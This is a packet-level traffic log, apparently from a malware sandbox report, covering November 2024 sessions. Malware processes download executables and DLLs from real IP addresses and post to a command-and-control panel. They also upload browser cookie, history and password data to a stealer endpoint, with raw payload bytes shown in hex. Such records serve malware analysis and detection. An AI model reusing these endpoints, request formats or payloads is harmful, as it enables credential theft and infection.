Nov 19, 2024 22:07:35.381654024 CET	1289	IN	Data Raw: eb dc f8 f4 ba 2c 2c 7b 2b 55 4e 21 d2 d2 37 b3 b5 cd 3e 9c 2a e5 7e 1f bd 97 1c f2 c7 cb d8 7b f1 87 2a a4 bb 6e c9 22 4b a2 20 04 fc cc 55 e4 ac fd 03 2f 5b cb bf 6b f2 83 04 2a 10 cd 9e 69 aa d0 71 2a b3 b7 ab 1e 3c 60 2f 10 36 2e 0a 72 bb de Data Ascii: ,,{+UN!7>~{n"K U/[kiq<`/6.r(f$+F&zclA)~P,Y[s#)=FCX)Z9q..[^jp4#,\|3=S3/2.Y;:(-1MIl,J=6
Nov 19, 2024 22:07:35.381691933 CET	1289	IN	Data Raw: ab 4b 95 f3 9c 88 45 7e f5 81 22 7d b0 7d 11 74 c5 28 f1 e3 9f 74 24 ae b7 88 15 fb 4f ff ca fb c0 71 34 a1 5a f3 f9 da 74 79 00 11 9e e8 04 b0 20 fd f1 e1 93 54 4d 8d 60 1d 03 4e 77 f9 e0 85 cd 3a 50 b5 6d 2c 04 80 d3 5c a2 cf d1 b7 6f 8c 5b 17 Data Ascii: KE~"}}t(t$Oq4Zty TM`Nw:Pm,\o[,}1YIjGtkFWA=_cQKZ31mD)\KPO:WT!i!;J&S/BsKawU]=lH>m
Nov 19, 2024 22:07:35.590143919 CET	1289	IN	Data Raw: ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 Data Ascii: ayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayay P8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50026	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:35.313930988 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 22:07:35.520804882 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:35 GMT Content-Type: application/octet-stream Content-Length: 2766848 Last-Modified: Tue, 19 Nov 2024 21:00:28 GMT Connection: keep-alive ETag: "673cfc6c-2a3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 f8 f9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui` @ @.rsrc`2@.idata 8@ihewwctv)):@macjzflx @.taggant@"@ [TRUNCATED]
Nov 19, 2024 22:07:35.520845890 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.520884991 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.520926952 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.520966053 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.521008015 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.521048069 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.521121979 CET	1289	IN	Data Raw: c4 bf bc fc ff f0 5f 7d 5f 99 c2 51 0b d7 d6 75 9e 89 7f 36 3d 28 8c f4 83 91 2a 97 2e 72 8e f3 fb 16 f3 cc b9 21 6b 2a 6a fd 0c 08 c4 84 bc 18 5a 26 b4 0b ec fc 40 6c e2 86 6c e8 1e 72 bb 37 4f 81 9c ab 60 00 b0 e6 83 7f 10 f2 9c 39 a3 ce b5 fa Data Ascii: _}_Qu6=(.r!kjZ&@llr7O`9u~Nr~*m<~@H\\|17d0A`3jdh}Kr$?,2JSXiL2]Qwk)ugHd9$k2x+h(Fkyx.ueGvtsXz
Nov 19, 2024 22:07:35.521158934 CET	1289	IN	Data Raw: eb dc f8 f4 ba 2c 2c 7b 2b 55 4e 21 d2 d2 37 b3 b5 cd 3e 9c 2a e5 7e 1f bd 97 1c f2 c7 cb d8 7b f1 87 2a a4 bb 6e c9 22 4b a2 20 04 fc cc 55 e4 ac fd 03 2f 5b cb bf 6b f2 83 04 2a 10 cd 9e 69 aa d0 71 2a b3 b7 ab 1e 3c 60 2f 10 36 2e 0a 72 bb de Data Ascii: ,,{+UN!7>~{n"K U/[kiq<`/6.r(f$+F&zclA)~P,Y[s#)=FCX)Z9q..[^jp4#,\|3=S3/2.Y;:(-1MIl,J=6
Nov 19, 2024 22:07:35.521198034 CET	1289	IN	Data Raw: ab 4b 95 f3 9c 88 45 7e f5 81 22 7d b0 7d 11 74 c5 28 f1 e3 9f 74 24 ae b7 88 15 fb 4f ff ca fb c0 71 34 a1 5a f3 f9 da 74 79 00 11 9e e8 04 b0 20 fd f1 e1 93 54 4d 8d 60 1d 03 4e 77 f9 e0 85 cd 3a 50 b5 6d 2c 04 80 d3 5c a2 cf d1 b7 6f 8c 5b 17 Data Ascii: KE~"}}t(t$Oq4Zty TM`Nw:Pm,\o[,}1YIjGtkFWA=_cQKZ31mD)\KPO:WT!i!;J&S/BsKawU]=lH>m
Nov 19, 2024 22:07:35.728276014 CET	1289	IN	Data Raw: ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 79 80 ed 61 Data Ascii: ayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayayay P8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50035	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:40.172024965 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007500001&unit=246122658369
Nov 19, 2024 22:07:40.382922888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50045	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:42.369441986 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:07:42.577255964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50050	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:44.302977085 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:07:44.564385891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50053	34.116.198.130	80	7920	C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:45.463491917 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------3oBziswUOWwo3fui71BRRl Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 6f 42 7a 69 73 77 55 4f 57 77 6f 33 66 75 69 37 31 42 52 52 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 75 68 75 63 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f9 70 68 22 32 20 16 55 aa 0c 3f 2c ea 39 09 82 78 16 6a bd 83 b7 63 09 c5 3e 39 ec 97 6b eb 5f 00 78 73 36 73 0f b6 9c 11 de 77 c2 ca 6d a3 6e 18 83 cd 80 d4 f6 e5 f2 c8 46 3d f1 71 ed 99 2a c1 4d 6c fe 73 19 e1 0d fc a4 de da 02 a7 8b 86 8e a8 01 4c 76 06 53 51 e5 c4 d2 f3 b7 ce f1 7e a6 63 3f b2 b9 05 ed f2 99 ec fa c7 0e 8a 91 25 f0 27 d4 1c 1c 07 44 a8 55 cc 70 6c 3e 27 12 0c 89 36 45 54 5c f0 5d 09 4f 86 0f 6a d9 41 68 6d 4d 5e ee d7 14 c0 05 cb 82 58 b3 71 6a bf 45 0d 1c b7 d9 0b 98 8e a5 16 27 7a a3 cc c3 b9 52 67 d5 13 [TRUNCATED] Data Ascii: --------------------------3oBziswUOWwo3fui71BRRlContent-Disposition: form-data; name="file"; filename="Cuhuco.bin"Content-Type: application/octet-streamph"2 U?,9xjc>9k_xs6swmnF=q*MlsLvSQ~c?%'DUpl>'6ET\]OjAhmM^XqjE'zRg\|Ie)KDXMT_kbYh25bQ5cjM--------------------------3oBziswUOWwo3fui71BRRl--
Nov 19, 2024 22:07:45.713742018 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Tue, 19 Nov 2024 21:07:45 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50056	185.215.113.206	80	4124	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:48.082348108 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDB Host: 185.215.113.206 Content-Length: 1015 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:07:48.082386017 CET	1015	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 Data Ascii: ------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 19, 2024 22:07:48.799391031 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:07:49.154805899 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFIJJEGHDAEBGCAKJKF Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:07:49.154891014 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 Data Ascii: ------BKFIJJEGHDAEBGCAKJKFContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------BKFIJJEGHDAEBGCAKJKFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 19, 2024 22:07:49.866082907 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:07:49.936889887 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file"------FCFIJEBFCGDAAKFHIDBF--
Nov 19, 2024 22:07:50.645807981 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:07:52.608788013 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file"------IJDBGDGCGDAKFIDGIDBF--
Nov 19, 2024 22:07:53.312849998 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:07:55.330851078 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 22:07:55.542687893 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B [TRUNCATED]
Nov 19, 2024 22:07:55.542733908 CET	1289	IN	Data Raw: 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b 08 00 83 c4 04 31 c0 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 8b 45 08 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 Data Ascii: t8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h
Nov 19, 2024 22:07:55.542774916 CET	1289	IN	Data Raw: 02 00 00 83 7d 0c 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 Data Ascii: }uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 19, 2024 22:07:55.542818069 CET	1289	IN	Data Raw: 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 e6 09 c8 c1 e0 08 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 Data Ascii: ]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2
Nov 19, 2024 22:07:55.542860985 CET	1289	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Nov 19, 2024 22:07:55.542902946 CET	1289	IN	Data Raw: 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 00 e8 9f f7 07 00 83 c4 04 31 ff 85 c0 0f 84 fc 00 00 00 89 c6 8b 45 0c 05 00 ff ff ff 3d 01 ff ff ff 73 20 68 0e e0 ff ff Data Ascii: []USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuWT
Nov 19, 2024 22:07:55.542943954 CET	1289	IN	Data Raw: de 01 00 00 89 5d dc 89 7d e4 89 c8 31 c9 ba 00 00 00 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 Data Ascii: ]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpf
Nov 19, 2024 22:07:55.542984009 CET	1289	IN	Data Raw: f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
